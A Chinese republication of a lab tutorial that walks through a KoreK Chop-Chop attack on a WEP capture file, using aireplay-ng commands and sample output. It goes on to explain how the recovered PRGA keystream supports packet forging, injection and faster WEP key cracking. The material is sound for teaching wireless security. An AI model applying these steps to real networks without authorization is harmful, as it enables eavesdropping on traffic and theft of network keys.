游乐游手机版
首页/网络安全/文章详情

WEP网络KoreK Chop-Chop攻击原理与实施方法

时间:2026-08-17 10:23
引言 WEP(Wired Equivalent Privacy)是一种已经过时且存在明显安全缺陷的 Wi‑Fi 加密协议。它的一个典型漏洞可以被 KoreK Chop-Chop 攻击利用。借助这种攻击方式,攻击者即使不知道无线网络密钥,也有机会对 WEP 加密数据包进行解密。其基本原理是逐字节
## 引言 WEP(Wired Equivalent Privacy)是一种已经过时且存在明显安全缺陷的 Wi‑Fi 加密协议。它的一个典型漏洞可以被 KoreK Chop-Chop 攻击利用。借助这种攻击方式,攻击者即使不知道无线网络密钥,也有机会对 WEP 加密数据包进行解密。其基本原理是逐字节猜测数据包明文内容,并通过接入点(access point)的响应来验证每一次猜测是否正确。 在本实验中,你将使用 `aircrack-ng` 工具套件执行 Chop-Chop 攻击。`aircrack-ng` 是一套常用于无线网络安全审计与渗透测试的强大工具集。你将学习如何借助 `aireplay-ng` 在捕获文件中定位加密数据包、按字节完成解密,并理解生成结果如何用于后续的 WEP 攻击与流量构造。 ## 捕获目标网络的加密数据包 在这一步中,你将先定位实验所需的数据包捕获文件。在真实无线安全测试场景里,通常会使用 `airodump-ng` 等工具监听目标网络并抓取实时流量。为了简化操作并聚焦于 Chop-Chop 攻击本身,本实验已经在 `~/project` 目录中预先提供了一个名为 `chopchop-test.cap` 的抓包文件。 首先,确认该文件确实存在于当前目录中。 ```bash ls -l ``` 你将在输出结果中看到 `chopchop-test.cap`。 ```plaintext total 4 -rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap ``` 接下来,使用 `aircrack-ng` 检查这个捕获文件,确认其中包含来自 WEP 无线网络的加密数据。该命令会读取抓包文件,并展示其中网络信息与数据摘要。 ```bash aircrack-ng chopchop-test.cap ``` 输出会显示接入点的 BSSID(MAC 地址),并明确指出该网络使用的是 WEP 加密。 ```plaintext Opening chopchop-test.cap Read 1 packets. # BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 1 00:13:10:36:7D:4F -32 0 1 0 6 54 WEP WEP Choosing first network as target. ``` 这说明当前捕获文件已经满足执行 WEP Chop-Chop 攻击的基本条件。 ## 使用 aireplay-ng -4 发起 Chop-Chop 攻击 在此步骤中,你将使用 `aireplay-ng` 发起 Chop-Chop 攻击。该工具主要用于无线帧注入与重放,而 Chop-Chop 攻击则通过 `-4` 参数来指定。 通常在实时无线网络攻击中,你需要手动指定目标接入点的 BSSID 和本地无线网卡接口。但在本实验里,我们处理的是离线捕获文件,因此使用 `-r` 选项直接从文件中读取数据包即可。`aireplay-ng` 会自动从文件中提取所需信息,例如目标 BSSID。 执行以下命令开始攻击: ```bash aireplay-ng -4 -r chopchop-test.cap ``` 命令运行后,`aireplay-ng` 会读取抓包文件,识别一个适合用于攻击的加密数据包,并提示你确认是否继续。 ```plaintext Opening chopchop-test.cap Read 1 packets. Size: 88, FromDS: 1, ToDS: 0 (AP -> STA) BSSID = 00:13:10:36:7D:4F Dest. MAC = 00:0F:B5:AB:CB:C3 Source MAC = 00:13:10:36:7D:4F Use this packet ? (y/n) ``` 这表明工具已经成功识别目标数据包,并准备进入后续的逐字节解密阶段。 ## 让攻击逐字节解密数据包 在这一步中,你将继续执行攻击,并观察 `aireplay-ng` 如何一步步解密 WEP 数据包。此时工具正在等待你对上一步中选定的数据包进行确认。 输入 `y` 并按 `Enter`,开始解密过程。 ```bash y ``` 确认之后,`aireplay-ng` 会进入 Chop-Chop 攻击的核心流程。它会从数据包最后一个字节开始,逐个猜测每个字节的值。在真实环境中,工具会将每次猜测发送给接入点,并根据接入点返回的响应判断猜测是否成立。在当前基于捕获文件的实验中,这一过程被模拟执行。 你将看到显示攻击进度的输出信息。输出通常会展示已发送的数据包数量(对应每次猜测),并在每成功恢复一个字节时更新状态。 ```plaintext Sa ving chosen packet in replay_src-0320-100520.cap The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F). Run airodump-ng on channel 6 to be sure you are on the right channel. If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng. Got a deauthentication packet! (Waiting 3 seconds) Sa ving chosen packet in replay_src-0320-100520.cap Offset 34 ( 0% done) | xor = 00 | pt = 00 | 1/ 1 ACKs ... Offset 1 (97% done) | xor = 00 | pt = 00 | 1/ 1 ACKs Offset 0 (98% done) | xor = 00 | pt = 00 | 1/ 1 ACKs Done. ``` 整个过程会持续到该数据包中的所有相关字节都被成功恢复。此时你只需要等待攻击完成即可。 ## 保存解密后的数据包和 PRGA XOR 文件 在这一步中,你将保存 Chop-Chop 攻击成功后的结果。当 `aireplay-ng` 完成整个数据包的解密后,它会提示你是否保存输出文件。 工具会显示类似下面的提示信息: ```plaintext Packet is 88 bytes, plain text is 60 bytes. Sent 34 packets, got 34 ACKs. Use this packet ? (y/n) ``` 输入 `y` 并按 `Enter` 保存结果。 ```bash y ``` 保存后,`aireplay-ng` 会在你的 `~/project` 目录下生成两个关键文件: 1. 一个 `.cap` 文件(例如 `replay_dec-....cap`),其中包含已经解密出的明文数据包;另一个是 `.xor` 文件(例如 `replay_dec-....xor`),其中保存了加密原始数据包时使用的伪随机生成算法(PRGA)密钥流。对这类 WEP 攻击来说,这段密钥流通常比单纯的明文包更有利用价值。 接下来,可以验证这些文件是否已经成功生成。使用 `ls` 命令列出目录中的 `.cap` 和 `.xor` 文件。 ```bash ls -l *.cap *.xor ``` 执行后,你会看到原始抓包文件、一个源文件,以及攻击过程中生成的两个新的 `replay_dec-*` 文件。 ```plaintext -rw-r--r-- 1 root root 124 Mar 20 10:00 chopchop-test.cap -rw-r--r-- 1 root root 124 Mar 20 10:05 replay_dec-0320-100520.cap -rw-r--r-- 1 root root 60 Mar 20 10:05 replay_dec-0320-100520.xor -rw-r--r-- 1 root root 124 Mar 20 10:05 replay_src-0320-100520.cap ``` 这一步的重点,在于理解 Chop-Chop 攻击的实际用途。虽然你已经成功解密了一个 WEP 数据包,但这并不意味着该攻击能够直接恢复 WEP 密钥。它真正的重要价值在于提取并保存了 `.xor` 文件中的 PRGA 密钥流。 这段恢复得到的密钥流可以与 `packetforge-ng` 配合使用,用于构造新的可用数据包。无论是 ARP 请求还是其他类型的无线数据包,都可以先进行伪造,再用这段已恢复的密钥流完成加密。随后,将这些伪造数据包重新注入网络,就有机会诱导接入点产生更多有效流量。 而这正是后续攻击中非常关键的一步。因为新增流量会带来更多不同的初始化向量(IVs),这些 IVs 随后可以被统计型攻击进一步利用,例如标准的 `aircrack-ng` WEP 破解流程,从而显著提升恢复 WEP 密钥的速度。 因此,Chop-Chop 攻击的核心意义在于:当目标无线网络本身流量较少、可利用数据不足时,它能够帮助攻击者主动制造更多可分析流量,为后续更高效的密钥恢复攻击创造条件。 如果你想进一步查看恢复出的密钥流内容,可以使用 `xxd` 这个十六进制转储工具检查 `.xor` 文件。这里可以使用通配符 `*` 匹配自动生成的文件名。 ```bash xxd replay_dec-*.xor ``` 输出结果会显示从数据包中恢复出的密钥流十六进制内容。 ```plaintext 00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10 ................ 00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20 ............... ... ``` 这些原始字节数据,正是 `packetforge-ng` 在后续构造并注入新数据包时所依赖的关键基础。至此,你已经完成了整个 Chop-Chop 攻击流程并成功保存了结果。更重要的是,你已经理解了该攻击的真实用途:它并不是直接破解 WEP 密钥,而是恢复一小段可利用的 PRGA 密钥流。借助这段密钥流,可以使用 `packetforge-ng` 伪造并加密新的数据包,再通过注入流量的方式为后续统计攻击创造条件,最终加快 WEP 密钥恢复过程。这也进一步说明了 WEP 协议在设计上的根本性安全弱点。
来源:https://labex.io/zh/tutorials/kali-perform-a-korek-chop-chop-attack-against-a-wep-network-594444
上一篇如何使用mergecap合并多个抓包文件 下一篇如何用Wireshark检测Fluxion去认证攻击
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。